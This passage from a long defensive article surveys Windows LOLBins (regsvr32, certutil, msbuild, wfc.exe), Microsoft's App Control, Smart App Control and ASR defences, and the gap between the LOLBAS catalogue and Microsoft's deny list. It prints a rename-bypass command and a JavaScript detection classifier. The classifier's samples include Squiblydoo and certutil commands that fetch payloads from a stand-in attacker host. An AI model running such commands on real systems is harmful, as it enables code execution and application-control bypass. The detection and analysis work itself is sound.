`bitsadmin.exe`	Pre-LOLBAS folklore	BITS-channel download primitive	T1197 [@attack-t1197]	No
`msbuild.exe`	Casey Smith, 2016	Inline-task compile-and-run C#	T1127.001 [@attack-t1127]	Yes, with caveat
`installutil.exe`	Casey Smith, 2016	`/U` invokes `[RunInstaller(true)]` class	T1218.004 [@attack-t1218-004]	Yes (unconditional)
`Microsoft.Workflow.Compiler.exe`	Matt Graeber, 2018-08-17	XOML-driven C#/VB.NET compile-and-execute	T1127 [@attack-t1127]	Yes

The table looks orderly. The pattern inside it is not.

regsvr32.exe is the article's opening case, the most famous LOLBin in history, and -- conspicuously -- not on the App Control Recommended Block Rules deny list [@ms-bypass-rules]. The reason is operational. regsvr32 is the OS-bundled mechanism for installing and uninstalling COM servers; denying it would break legacy installers, in-place upgrades of components like ODBC drivers, and a broad sweep of administrative tooling. Microsoft's choice is to detect Squiblydoo via behavioral signals (parent-child anomaly, /i:http argument) rather than deny the binary outright.

The conspicuous absence of regsvr32.exe from the Recommended Block Rules is one of the most-revealing facts in the LOLBin literature. Microsoft is saying, in policy form: we cannot take this binary off the disk, we cannot deny it at App Control, and we trust your EDR or your ASR rules to catch the abusive invocations. The detection burden is structurally transferred from the platform to the customer.

rundll32.exe is the longest-lived AWL bypass primitive in the catalog. Almost every COM out-of-process invocation in Windows uses it, and many shell namespace extensions invoke it. Denying rundll32.exe would render the desktop nearly inoperable. It is, like regsvr32, on the detect, do not deny side of the line.

mshta.exe is on the Recommended Block Rules list. Microsoft can deny it because HTA files are a 1999 technology (the HTML Application format was introduced with Internet Explorer 5 [@ms-hta-overview]) and the platform no longer requires mshta.exe to be functional for routine operation [@ms-bypass-rules].

`mshta.exe` -- Microsoft HTML Application Host -- ships with every modern Windows release. The binary's reason for existing was Internet Explorer's HTML Application (HTA) format, introduced with Internet Explorer 5 in 1999, so administrators could write GUI applications in HTML, CSS, and JScript without an IDE [@ms-hta-overview]. Internet Explorer 11 was retired on June 15, 2022 [@ms-ie11-lifecycle]. HTA support remains, because removing it would break a long tail of internal corporate tooling. `mshta.exe` is the canonical example of a binary that outlived its motivating product by more than two decades and now exists primarily so attackers can run JScript in a signed process.

certutil.exe is one of the field's quiet recurring offenders. Two switches drive most of its abuse: -urlcache -split -f downloads an arbitrary URL to disk, and -decode decodes Base64 or hex payloads. Neither is documented as a security feature; both are necessary for legitimate certificate-management workflows. certutil is not on the App Control deny list.

bitsadmin.exe and its PowerShell sibling Start-BitsTransfer drive downloads through the Background Intelligent Transfer Service, the same channel Windows Update uses. The traffic looks like normal Windows traffic at the network layer. BITS Jobs is tracked as T1197 [@attack-t1197]. bitsadmin.exe is not on the deny list either.

msbuild.exe is the most interesting case in the table because Microsoft's response is published verbatim and is context-dependent. The Recommended Block Rules entry for msbuild.exe reads:

If you're using your reference system in a development context and use msbuild.exe to build managed applications, we recommend that you allow msbuild.exe in your code integrity policies. Otherwise, we recommend that you block msbuild.exe. -- Microsoft Learn, Applications that can bypass App Control [@ms-bypass-rules]

That single sentence is the structural argument from Section 9 in microcosm. The deny list cannot decide for itself whether msbuild.exe is a LOLBin; the answer depends on whether the endpoint is a developer workstation.

installutil.exe is the .NET Framework installer-class entry-point runner. Casey Smith's 2016 disclosure showed that installutil.exe /U mybinary.exe invokes any class decorated with [System.ComponentModel.RunInstaller(true)], regardless of whether that class is part of an installer. The technique is documented at LOLBAS [@lolbas-installutil] and tracked as T1218.004 [@attack-t1218-004]. installutil.exe is on the App Control deny list, unconditionally (any version) [@ms-bypass-rules], in contrast to msbuild.exe's development-context caveat. That installutil.exe is denied by default and the LOLBin class persists anyway is the strongest small evidence that revocation is not the same as elimination.

Microsoft.Workflow.Compiler.exe, also known as wfc.exe, is the canonical worst case. The binary is part of .NET Workflow Foundation. It accepts a pair of file arguments -- an input file (any extension; LOLBAS lists XOML as the canonical form) containing a CompilerInput XML element with the attacker's C# or VB.NET source, and a log-file output path. The compiler compiles the embedded source and executes it in-process [@lolbas-mwc]. LOLBAS tracks it under T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127], alongside msbuild.exe, dnx.exe, and rcsi.exe. Matt Graeber's August 17, 2018 disclosure [@lolbas-mwc] demonstrated end-to-end unsigned-C# execution via a single command line. It is on the App Control Recommended Block Rules list [@ms-bypass-rules]. Microsoft cannot remove the binary from Windows without breaking Workflow Foundation, but it can pin it as denied-by-default and direct developers who need it to allow-list it explicitly.

The abuse chain in which `Microsoft.Workflow.Compiler.exe` (a .NET Workflow Foundation utility, also distributed as `wfc.exe`) is invoked with an attacker-supplied input file -- any extension, canonical form XOML -- that contains a `CompilerInput` XML element holding C# or VB.NET source, plus a log-file output path. The compiler compiles the embedded source and executes the resulting assembly in-process. Disclosed by Matt Graeber on August 17, 2018 [@lolbas-mwc]. Now denied by default in Microsoft's App Control Recommended Block Rules [@ms-bypass-rules].

Notice the pattern across the eight: each binary is either on the Recommended Block Rules or it isn't, and the binaries that are not on the list are the ones administrators cannot live without. The deny list, in other words, is bounded: not by Microsoft's diligence, but by what Windows administration requires. How bounded? That is Section 6.

6. The Defensive Patchwork: Four Generations of Response

If you tried to fix Squiblydoo in 2016, the only primitive available was a per-binary AppLocker Deny rule. You wrote a rule that named regsvr32.exe, you deployed it via Group Policy, and you watched an attacker bypass it by copying the binary to a writable directory and renaming it. Microsoft's response over the following eight years can be told as four generations of control. Each one closes a specific bypass class in the previous. None touches the defining property of the class itself.

Generation 0: Software Restriction Policies (2001-2009)

Before AppLocker there was Software Restriction Policies (SRP), introduced with Windows XP and Windows Server 2003. SRP supported hash and path rules but had no first-class publisher rule. The policy language could not express trust anything signed by Microsoft. At enterprise scale, SRP was unmaintainable. AppLocker explicitly superseded it; Microsoft now directs new deployments to AppLocker and App Control for Business rather than SRP [@ms-applocker-overview]. Generation 0 failed not because it was bypassed but because it was undeployable.

Generation 1: AppLocker with the default Microsoft publisher rule (2009-2017)

AppLocker, as Section 3 described, made application allow-listing deployable by introducing the publisher rule and pre-populating the default rule set to admit Microsoft-signed binaries [@ms-applocker-overview]. Squiblydoo (April 19, 2016) was the existence proof that the default rule was simultaneously necessary for deployment and insufficient for security. The standard mitigation in this era -- write a per-binary AppLocker Deny rule for regsvr32.exe, mshta.exe, and friends -- ran into a concrete worked counterexample:

The AppLocker rename bypass is as simple as copy %WINDIR%\System32\regsvr32.exe %TEMP%\sysadmin-helper.exe. The copied file retains its Authenticode signature (which signs the file bytes, not the filename). The default Microsoft-publisher allow rule admits the renamed copy. A Deny rule keyed to the original path or name silently fails. This is the bypass that motivated WDAC's move to kernel-mode signature evaluation and hash-revocation rules.

A Deny rule keyed by path or filename loses to file copy. A Deny rule keyed by file hash loses the day Microsoft ships a new build on Patch Tuesday. AppLocker's policy language could express either constraint but not both at once. Neither held up against a determined attacker.

Generation 2: App Control for Business with Recommended Block Rules (2017-present)

Generation 2 is what most enterprises deploy today. Windows Defender Application Control (WDAC) shipped with Windows 10 1709 in October 2017, evolved out of Device Guard's Code Integrity Policies, and was rebranded App Control for Business in the 2023-2024 documentation cycle [@ms-appcontrol-overview]. The system enforces signature-and-policy evaluation in kernel mode. The rename bypass that defeated AppLocker stops at the kernel boundary, because the kernel evaluates the file's signature and hash independently of its path.

The Microsoft kernel-mode application-control system formerly known as Windows Defender Application Control (WDAC). Ships with Windows 10 1709 and later. Policies are signed XML files that admit or deny binaries by signer, hash, file attribute, or path; the policy engine is enforced by the kernel's Code Integrity subsystem [@ms-appcontrol-overview]. The successor to AppLocker for managed enterprise deployments. A Microsoft-curated, version-pinned XML deny list shipped via Microsoft Learn that App Control administrators merge into their base policy. As of 2026 the list denies roughly 40 binaries -- including `mshta.exe`, `Microsoft.Workflow.Compiler.exe`, conditionally `msbuild.exe`, and the older `system.management.automation.dll` versions that allowed PowerShell Constrained Language Mode bypass [@ms-bypass-rules]. The deny list grows as new bypasses are disclosed; addition lag is months to years.

Generation 2 closed the per-name rename bypass and gave Microsoft a publication surface for revoking individual LOLBins. The deny list itself acknowledges the version-pinning problem in a dated breadcrumb on the Microsoft Learn page: as of October 2017, system.management.automation.dll is updated to revoke earlier versions by hash values, instead of version rules [@ms-bypass-rules]. Revocation is applied case-by-case, not globally. What Generation 2 did not close was the catalog-vs-deny-list coverage gap (see Section 8 for the side-by-side count). The Recommended Block Rules name roughly 40 binaries; the LOLBAS catalog enumerates 207. The residual is unaddressed by default.

Generation 3: Smart App Control (2022-present)

Smart App Control (SAC) is Microsoft's reputation-and-AI gate for unmanaged consumer and small-business endpoints. It ships with clean installations of Windows 11 22H2 and later. It runs in an evaluation mode that silently observes the user's behavior and either transitions to enforce mode or silently disables itself depending on whether the observed activity is consistent with a managed-enough device [@ms-sac-overview]. The disable was originally one-way; the Definition below covers the recently-added in-place re-enable path [@ms-sac-support].

A Windows 11 22H2+ reputation-based application-gating feature that admits or blocks applications by Microsoft cloud lookup, with an AI classifier as a fallback. SAC ships in evaluation mode on clean installs only; it either transitions to enforcement or silently disables itself based on observed device usage [@ms-sac-overview]. Until recently a disabled SAC could only be revived by reinstalling Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support]. The silent disable itself remains.

The Aha moment for SAC arrives when a defender reads the Microsoft Learn SAC overview carefully:

Note that some older Microsoft binaries are considered unsafe because attackers can potentially use them to gain unauthorized access. For a complete list of these files, please see Application Control for Windows. -- Microsoft Learn, Smart App Control overview [@ms-sac-overview]

That sentence resolves the most common misconception about SAC. Smart App Control does not introduce a new LOLBin-handling mechanism. It defers LOLBin handling to the App Control Recommended Block Rules deny list. SAC inherits the same 167-binary coverage gap Generation 2 has. The reputation-and-AI gate is a useful addition for unknown third-party software; for Microsoft-signed LOLBins it is the deny list with a different user interface.

Generation 3's other documented failure mode is silent disable. A device that was protected becomes unprotected with no admin signal. In August 2024, Elastic Security Labs published the Dismantling Smart App Control analysis [@elastic-sac], which enumerated five distinct bypass classes: signed malware via EV certificates (SolarMarker burned through more than 100 unique certs), reputation hijacking via FFI-capable script hosts (Lua, Node.js, AutoHotkey), reputation seeding within roughly two hours, reputation tampering, and the LNK-stomping smuggling technique tracked as CVE-2024-38217 [@bleeping-lnk]. The LNK-stomping samples in VirusTotal date back six years.

Generation 4: Windows Resiliency Initiative (November 2024)

On November 19, 2024, at Microsoft Ignite, the company announced the Windows Resiliency Initiative (WRI). It is an umbrella program, not a new enforcement mechanism, with four focus areas. The third is stronger controls for what apps and drivers are allowed to run [@ms-wri-nov2024]. The June 2025 follow-up post adds the Microsoft Virus Initiative 3.0 (MVI 3.0) and the user-mode security agents work that moves third-party EDR drivers out of the kernel [@ms-wri-jun2025]. As of May 2026, WRI has not shipped a qualitatively new LOLBin-class enforcement primitive. It is a re-framing of the controls that already existed.

flowchart LR G0["Gen 0: SRP
2001-2009"] --"closes 'no scalable publisher rule'"--> G1["Gen 1: AppLocker
default publisher rule
2009-2017"] G1 --"closes 'per-admin deny rules don't scale, rename bypass'"--> G2["Gen 2: App Control + Recommended Block Rules
2017-present"] G2 --"closes 'no default-on for unmanaged endpoints'"--> G3["Gen 3: Smart App Control
2022-present"] G3 --"institutional re-framing"--> G4["Gen 4: Windows Resiliency Initiative
2024-present"] G4 -. unresolved .-> Class["The LOLBin class itself"] style Class stroke:#c33,stroke-width:2px style G4 stroke:#888,stroke-dasharray: 5 5

The summary table for the generational story:

Generation	Years	Closed	Did not close
0: SRP	2001-2009	--	Undeployable at enterprise scale
1: AppLocker	2009-2017	Allow-list scale problem	Squiblydoo, rename bypass, Authenticode blindness
2: App Control + Block Rules	2017-present	Rename bypass, per-name deny	167-binary coverage gap
3: Smart App Control	2022-present	No default-on for consumers	Silent disable, defers LOLBins to Gen 2
4: WRI	2024-present	-- (institutional framing)	No new LOLBin enforcement primitive

Note: Each generation adds a layer; no generation removes a class. Four bypass classes have been closed in chronological order, but the 167-binary residual between the LOLBAS catalog and the Recommended Block Rules deny list has not narrowed. The class is what survives the chain.

Four generations, each adding a layer. None removing the class. The next question follows: what does the 2026 state of the art look like, taken as a whole?

7. The 2026 State of the Art Is a Stack of Eight

A 2026 Windows shop does not pick one of these layers. It stacks all eight. The state of the art for LOLBin defense is the bundle, not a single technique, and the bundle's coverage is the union of what each layer sees.

The eight layers, in roughly the order a defender would deploy them:

App Control for Business with Recommended Block Rules -- the enterprise control plane. Kernel-mode signature evaluation, signed XML policies, and Microsoft's curated deny list merged into the base policy [@ms-bypass-rules]. This is the only layer that enforces by default-deny at the loader.
Smart App Control -- the consumer reputation gate. Reputation lookups against a Microsoft cloud service, AI classification as the fallback, evaluation-then-enforce lifecycle [@ms-sac-overview]. Defers LOLBins to the App Control deny list.
Attack Surface Reduction (ASR) rules -- Defender for Endpoint's behavioral choke points. Most LOLBin-relevant rules shipped with Windows 10 1709 in October 2017 [@ms-asr-rules-ref]: Block all Office applications from creating child processes, Block executable content from email client and webmail, Block JavaScript or VBScript from launching downloaded executable content, Block use of copied or impersonated system tools. Block process creations originating from PSExec and WMI commands arrived later in Windows 10 1803.
Behavioral EDR with Sysmon parent-child detection -- the telemetry layer that catches what the enforcement layers miss. SwiftOnSecurity's sysmon-config repository [@swiftonsec], the more modular olafhartong/sysmon-modular configuration [@olafhartong], and vendor-curated analytics like Splunk Research's rule 25689101-012a-324a-94d3-08301e6c065a for renamed-LOLBin detection [@splunk-detection].
AMSI with PowerShell Constrained Language Mode -- in-process script-content inspection.AMSI is the only Microsoft-shipped mechanism that lets antimalware inspect script bodies after macro expansion and before eval, which is the moment the script has been decoded but not yet executed [@ms-amsi-portal]. That moment is the single richest detection signal in the script-host attack surface. The answer Microsoft shipped specifically for PowerShell, JScript, VBScript, and the script hosts Microsoft directly controls.
The LOLBAS catalog itself -- a defensive data structure. Detection engineers parse it to generate rules; SIEM vendors ingest it as detection content; the MITRE ATT&CK pages cite individual entries as primary references [@attack-t1218].
ML-driven LOTL classification -- the research frontier. Ryan Stamp's 2022 NLP-over-command-line approach [@arxiv-stamp] and the 2024 work by Trizna and collaborators reporting a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] [@hf-quasarnix].
Microsoft Vulnerable Driver Blocklist and LOLDrivers -- the kernel-driver analogue. Microsoft's blocklist is enabled by default with HVCI, Smart App Control, or S mode active [@ms-driver-blocklist]; the community-maintained LOLDrivers project at loldrivers.io is the sibling catalog [@loldrivers].

The Antimalware Scan Interface, introduced with Windows 10 1507. AMSI lets script hosts (PowerShell, JScript, VBScript, the `.NET` runtime) hand the script content they are about to evaluate to the registered antimalware product for inspection before execution. AMSI closes one of the few in-process content-inspection points Microsoft directly controls; it does not see scripts run through non-AMSI hosts (older COM scriptlets, Lua, Node.js, AutoHotkey FFI).

Each layer addresses a different point in the LOLBin life cycle. App Control and SAC enforce at load time, before the binary runs. ASR enforces at behavior time, blocking specific parent-child or write-then-exec patterns. EDR with Sysmon observes at runtime and reacts after the fact. AMSI inspects script content inside the running process. The catalog enumerates what to look for; ML models generalize beyond it. The driver layer covers a sibling class.

flowchart TD Endpoint["Windows endpoint"] Endpoint --> L1["1. App Control + Recommended Block Rules (kernel CI, default deny)"] Endpoint --> L2["2. Smart App Control (consumer reputation gate)"] Endpoint --> L3["3. ASR rules (behavioral choke points)"] Endpoint --> L4["4. EDR + Sysmon (telemetry and post-hoc detection)"] Endpoint --> L5["5. AMSI + PowerShell CLM (in-process script content)"] Endpoint --> L6["6. LOLBAS catalog (detection-engineering data structure)"] Endpoint --> L7["7. ML LOTL classification (research frontier)"] Endpoint --> L8["8. Driver blocklist + LOLDrivers (sibling class)"]

The head-to-head comparison matrix shows what each layer brings and where the residual risk lives:

Layer	Decision time	Coverage breadth	Marginal cost per new LOLBin	Failure mode if attacker succeeds
App Control + Block Rules	Load	~40 binaries	Microsoft must add it to the XML; months-to-years lag	Binary loads and runs
Smart App Control	Load	Reputation + AI gate; defers LOLBins to App Control	None (inherits App Control)	Reputation hijack succeeds; silent disable possible
ASR rules	Behavior	~8 LOLBin-relevant rules	Rule author must encode the new pattern	Pattern slips through; user-facing block toast missing
EDR + Sysmon	Runtime	Whole catalog if rules exist	Rule per binary, per variant	Detection fires after execution
AMSI + CLM	In-process	PowerShell and AMSI-instrumented hosts only	Free; instrumented automatically	Non-AMSI host (older COM scriptlet, Lua) bypasses
LOLBAS catalog	Reference	207 binaries	Community editorial cost	Out-of-catalog LOLBin missed
ML LOTL	Runtime	Generalizes beyond catalog	Retraining cost	False-positive flood; adversarial drift
Driver blocklist	Load (kernel)	Sibling class (drivers, not binaries)	Microsoft and community curation	Vulnerable driver loads pre-blocklist

powershell.exe is conspicuously absent from the App Control Recommended Block Rules deny list, even though it is the most-abused script host in the catalog. The reason is that Microsoft shipped a different answer for PowerShell specifically: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103). For PowerShell the response is instrument deeply, do not deny; for the rest of the catalog the response is deny when feasible. There is no published Microsoft criterion explaining when each strategy applies.

Layer 6 -- the catalog as data structure -- is the layer most defenders underuse. The YAML is parsable, the function taxonomy is closed, the MITRE ATT&CK IDs are stable. A SOC can compile the catalog into a command-line classifier in a few dozen lines:

{` // A minimal classifier that takes a candidate Windows command line and // returns the LOLBAS function category it appears to match. Real SOC // content compiles the YAML at build time and emits a rule per entry.

const PATTERNS = [ { binary: 'regsvr32', re: /regsvr32(\.exe)?.+\/i:https?:/i, cat: 'Execute (AWL Bypass)' }, { binary: 'rundll32', re: /rundll32(\.exe)?\s+.+\.dll,/i, cat: 'Execute' }, { binary: 'mshta', re: /mshta(\.exe)?\s+(https?:|vbscript:|javascript:)/i, cat: 'Execute' }, { binary: 'certutil', re: /certutil(\.exe)?.+(-urlcache|-decode)/i, cat: 'Download / Decode' }, { binary: 'bitsadmin',re: /bitsadmin(\.exe)?.+\/transfer/i, cat: 'Download' }, { binary: 'msbuild', re: /msbuild(\.exe)?\s+.+\.csproj|\.xml/i, cat: 'Compile' }, { binary: 'installutil', re: /installutil(\.exe)?\s+\/u\s+/i, cat: 'Execute' }, { binary: 'wfc', re: /(microsoft\.workflow\.compiler|wfc)(\.exe)?/i, cat: 'Compile' } ];

function classify(cmd) { for (const p of PATTERNS) { if (p.re.test(cmd)) return { binary: p.binary, category: p.cat }; } return null; }

const samples = [ 'regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll', 'certutil -urlcache -split -f http\u003a//attacker/x.exe c:\\users\\x.exe', 'msbuild.exe project.csproj /t:Build', 'wfc.exe rules.xoml config.txt' ]; for (const s of samples) console.log(s, '->', classify(s)); `}

Eight layers, none of which covers all 207 catalog entries. Why is the coverage gap so persistent? The next section compares the three competing taxonomies that have spent the last decade enumerating the class and shows what they agree on and where they diverge.

8. Three Taxonomies, Three Counts

Three groups have spent the last decade enumerating the LOLBin class from three different angles, and they disagree on the count. The disagreement is informative.

LOLBAS is the community-curated, behaviorally annotated, MITRE-mapped, full binary enumeration. The count as of May 2026 is 207 binaries plus 27 libraries and scripts, totaling 234 entries [@lolbas-github]. Every entry has a YAML file, a function category, an ATT&CK technique ID, a primary-source acknowledgement, and detection guidance. The catalog is exhaustive by design: the editorial criteria admit any Microsoft-signed binary with unexpected attacker-useful functionality.

MITRE ATT&CK organizes the same behaviors as techniques rather than binaries. The relevant nodes are T1218 (System Binary Proxy Execution, with sub-techniques for Regsvr32, Rundll32, Mshta, InstallUtil, and others) [@attack-t1218]; T1216 (System Script Proxy Execution) [@attack-t1216]; T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127]; T1197 (BITS Jobs) [@attack-t1197]; T1140 (Deobfuscate/Decode Files or Information); and T1105 (Ingress Tool Transfer). The framework has fewer canonical entries than LOLBAS but richer threat-intelligence linkage: adversary groups, observed campaigns, and detection rules cluster around each technique. The MITRE pages cite LOLBAS as the primary source for binary-level abuse detail.

Microsoft's App Control Recommended Block Rules denies roughly 40 binaries [@ms-bypass-rules]. That is the intersection Microsoft will commit to denying by default in a fully-managed App Control policy. The list is version-pinned, signed, and shipped as XML for administrators to merge into their base policies. Entries include mshta.exe, Microsoft.Workflow.Compiler.exe, installutil.exe, conditionally msbuild.exe, and the older system.management.automation.dll versions that allowed Constrained Language Mode bypass.

Dimension	LOLBAS	MITRE ATT&CK	App Control Block Rules
What counts as an entry	Per-binary YAML file	Per-technique node	Per-binary deny rule
Count (May 2026)	234 (207 binaries + 27 libs/scripts)	~6 top-level techniques, ~12 LOLBin sub-techniques	~40 binaries
Update mechanism	GitHub pull request, community editorial board	MITRE editorial cycle (quarterly)	Microsoft Learn page revision
Enforcement?	None -- reference only	None -- reference and CTI	Yes -- kernel-mode App Control deny
Primary audience	Detection engineers, red teams	Threat intel analysts, CISO reporting	Enterprise App Control administrators

flowchart TB subgraph LOLBAS["LOLBAS: 207 binaries"] L1["~40 covered by Block Rules"] L2["~167 binaries not denied by default"] end subgraph MITRE["MITRE ATT&CK: ~12 LOLBin sub-techniques"] M1["Cites LOLBAS as primary source"] end subgraph Block["App Control Block Rules: ~40 binaries"] B1["Subset of LOLBAS"] end L1 -.- B1 L2 -. "the gap" .-> Gap["167-binary residual"] MITRE -.- LOLBAS

The discrepancy is the load-bearing observation of this article. 207 known versus ~40 denied. The 167-binary residual is the gap between what the community has proven possible and what Microsoft will deny by default. The residual is not a curation backlog. Microsoft maintains the deny list; researchers submit candidates; the criterion for inclusion is operational impact, not novelty. Binaries that would break Windows administration if denied are excluded by design. That is why regsvr32.exe, rundll32.exe, certutil.exe, and bitsadmin.exe are all in LOLBAS, all in MITRE ATT&CK, and none of them denied by default.

Jimmy Bayne -- one of the LOLBAS co-maintainers -- runs a parallel community list at bohops/UltimateWDACBypassList [@bohops-wdac] that explicitly tracks the superset of binaries that bypass WDAC, including entries that may not yet have made it into the main LOLBAS catalog. Oddvar Moe's pre-LOLBAS UltimateAppLockerByPassList [@api0cradle-applocker] performs the same role for AppLocker-era bypasses. Together, the two community lists are the closest available proxy for the real upper bound on LOLBin candidates.

Note: LOLBAS enumerates 207 Microsoft-signed binaries with attacker-useful primitives. The App Control Recommended Block Rules deny roughly 40 of them by default. The 167-binary residual is the central empirical finding of the LOLBin literature: the binaries Microsoft will not deny are the binaries Windows system administration depends on.

If the gap were random, Microsoft could close it over time. But it is not random. The binaries Microsoft will not deny are precisely the binaries Windows system administration depends on: the COM registration utility, the DLL loader, the certificate installer, the BITS download helper. The pattern is too clean to be accidental. That is not a coverage problem. That is an architectural problem. Section 9 explains why.

9. The Architectural Argument: Why LOLBins Cannot Be Eliminated

Here is the thesis. The LOLBin class is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.

The argument has four steps, and each step is empirically grounded in something this article has already shown.

Step 1. Windows ships tens of thousands of Microsoft-signed binaries across SKUs. The default AppLocker rule template admits every executable under %windir% or %programfiles% via three path-based default rules (executables, scripts, and Windows Installer files) [@ms-applocker-default-rules], and the canonical managed deployment adds a publisher rule that trusts the Microsoft signer chain; the default App Control configuration trusts the same Microsoft signer certificate chain. The first two control planes treat the entire signed-Microsoft binary set as admissible.

Step 2. A LOLBin is any signed binary that exposes a "load and execute attacker-controlled payload" surface. That surface includes loading a script, loading a DLL, loading a XAML or XOML file, running an inline MSBuild task, running a COM scriptlet, running an HTA, running a WSH job, decoding Base64, fetching a URL into the BITS queue, or invoking a [RunInstaller(true)] class. Each primitive sits behind a documented switch or file format. None of them is a vulnerability in the buffer-overflow sense.

Step 3. Every one of those primitives is required by some legitimate administrative tooling. Microsoft cannot remove Microsoft.Workflow.Compiler.exe without breaking the .NET Workflow Foundation runtime that the binary services. It cannot remove msbuild.exe without breaking the developer toolchain. It cannot remove regsvr32.exe without breaking COM registration. It cannot remove bitsadmin.exe without breaking corporate update servers that depend on the BITS channel. It cannot remove certutil.exe without breaking certificate-installation workflows that ship in every Active Directory deployment guide.

Step 4. Therefore the only available options are (a) revoke individual binaries from the default trust path via the App Control Recommended Block Rules deny list; (b) layer behavioral blocks on top via ASR, SAC, EDR, and AMSI; or (c) rebuild the Windows system-administration model. Microsoft has chosen (a) plus (b). Option (c) is out of scope for backward-compatibility reasons.

flowchart TD Problem["Signed binary with load-and-execute primitive,
abused with attacker arguments"] Problem --> A["Option A: Revoke from default trust path"] Problem --> B["Option B: Layer behavioral blocks"] Problem --> C["Option C: Rebuild system-administration model"] A --> A1["App Control Recommended Block Rules (~40 binaries)"] A --> A2["Microsoft Recommended Driver Block Rules"] B --> B1["ASR, Smart App Control, EDR, AMSI, Constrained Language Mode"] C --> C1["Not shipping. Would break Windows administration."] style C stroke:#888,stroke-dasharray: 5 5 style C1 stroke:#888,stroke-dasharray: 5 5

The strongest evidence that Microsoft itself accepts this framing is the msbuild.exe deny-list entry quoted in Section 5 -- a context-dependent rule that denies msbuild.exe unless the endpoint is a developer reference system [@ms-bypass-rules]. That single Microsoft sentence is the architectural argument in one paragraph: Microsoft is admitting, in writing, that the deny list is not absolute. Whether msbuild.exe is a LOLBin depends on what the machine is used for. There is no possible universal deny rule for msbuild.exe because there is no universal answer to do you build .NET projects on this machine?. The deny list can only ever encode the policy for the use case the administrator has in mind.

Key idea: The LOLBin problem is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.

A theoretically clean fix exists and is worth naming. It would attach a behavioral capability description to each Authenticode-signed binary at sign time -- something like this binary may load and execute COM scriptlets from URLs, or this binary may compile and run unsigned C# from disk. App Control policy would then enforce on the capability set rather than the publisher identity. A LOLBin would be any binary whose capability set, intersected with the administrator's policy, exceeded the policy's high-water mark.

A capability-extended Authenticode -- in which each signed binary's metadata declared the categories of behavior it could perform, and App Control policy could deny by capability rather than by name -- would close the structural gap. It is the design that flows directly from the analysis in Section 3. It is also not on Microsoft's public roadmap as of Ignite 2024. The reason is not technical. The reason is that every existing signed Microsoft binary would have to be re-signed, every existing third-party signed binary would have to be re-classified, and every administrator would have to learn a new policy vocabulary. The cost is paid by everyone at once; the benefit accrues to defenders only as adoption approaches one.

A further theoretical observation is worth recording. The decision problem behind LOLBin enforcement -- does this signed binary, invoked with these arguments, execute attacker-controlled code? -- is Rice-class undecidable in the limit. By Rice's theorem [@rice-1953], any non-trivial semantic property of arbitrary programs is undecidable, which means no static analysis can perfectly classify every possible invocation of every possible signed binary. In practice the problem is also backward-compatibility-bounded: even where decidable approximations exist, Microsoft cannot apply them to existing binaries without re-signing or breaking deployments.

The detection side has a measurable upper bound that the enforcement side does not. The Trizna 2024 result -- a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] -- is the closest published quantitative result on what ML-driven command-line classification can achieve. There is no equivalent enforcement-side result. The asymmetry is not accidental: detection can be probabilistic, but enforcement at the loader must be deterministic.

If the class cannot be eliminated, the next honest question is: what cannot be fixed even in principle, and what work is still open? That is the next section.

10. Eight Open Problems in 2026

Eight problems remain genuinely open as of May 2026. None is fixable with the controls Microsoft currently ships, and each one has direct operational consequences a SOC must plan around.

Problem	Why it matters	What has been tried	Why it isn't fixed
Block-list latency	Disclosure-to-deny lag is months to years	Periodic Recommended Block Rules updates [@ms-bypass-rules]	Microsoft does not publish a SLA; no quantitative lag study exists
Version-pinned bypass via older signed copies	Attacker drops a 2017-vintage signed `wfc.exe` from an archive; deny list misses it	Hash-revocation rules per binary	Asymptotic completeness of the hash list is unattainable in practice
Smart App Control silent disable	A protected device becomes unprotected with no admin signal	Microsoft documents the behavior; in-place re-enable shipped via a recent Windows cumulative update [@ms-sac-support]	Silent disable itself remains by design
No capability-extended Authenticode	Publisher trust has no first-class representation of behavior	Discussed in academic and red-team writing; not on Microsoft roadmap	See Section 9: would require re-signing the world
AMSI gaps in non-AMSI script hosts	Native COM scriptlets, older .NET, Lua, Node.js, AutoHotkey FFI bypass AMSI	Microsoft instrumented PowerShell, JScript, VBScript	Third-party script hosts opt in or do not
Detection-engineering economics	Per-LOLBin rule authoring scales linearly with catalog growth	Community projects (SwiftOnSecurity, sysmon-modular), Splunk Research [@splunk-detection]	LOLBAS adds entries faster than rules can be generalized
Coverage gap LOLBAS vs MITRE vs Block Rules	No published mapping reconciles all three	Manual cross-references in vendor documentation	Each project has different editorial scope
The PowerShell special case	"Instrument deeply" for one host, "deny" for the others	AMSI + CLM + script-block logging	No published Microsoft criterion for when each applies

The empirical anchor for why this matters is published. In its Q3 2025 TTP Briefing, Cybereason reported the share of investigations involving LOLBins:

We observed living-off-the-land binaries (LOLBINs) usage in 17% of investigations in Q3, up from 13% in H1 2025. -- Cybereason TTP Briefing Q3 2025 [@cybereason-q3-2025]

A four-percentage-point quarter-over-quarter increase is not a noise-level move. It is the visible attacker-economics response to the SOTA: as enforcement layers improve at detecting unsigned third-party tooling, attackers shift further into the trust-by-signature space. The catalog grows because the incentive to find new LOLBins is growing.

Two of the eight problems deserve a closer look. Smart App Control's silent-disable behavior is the most under-documented operational failure mode in the entire 2026 SOTA. The documented disable trigger is, in paraphrase, that SAC turns off when Microsoft's cloud service cannot make a confident prediction about the user's typical app usage [@ms-sac-overview]. The user-facing consequence is the same regardless of the exact wording: a Windows 11 endpoint that booted protected by SAC silently transitions to a state in which SAC does nothing. A recent Windows cumulative update added an in-place re-enable path that improved on the original wipe-and-reinstall requirement (see the Callout below), but it does not surface a disable event to administrators.

Note: SAC disables itself silently when it cannot make a high-confidence safety prediction. The disabled state used to be one-way; a recent Windows cumulative update added a re-enable path that no longer needs a clean install [@ms-sac-support]. But the disable itself still surfaces no admin signal. Plan defenses as if SAC is best-effort, not load-bearing.

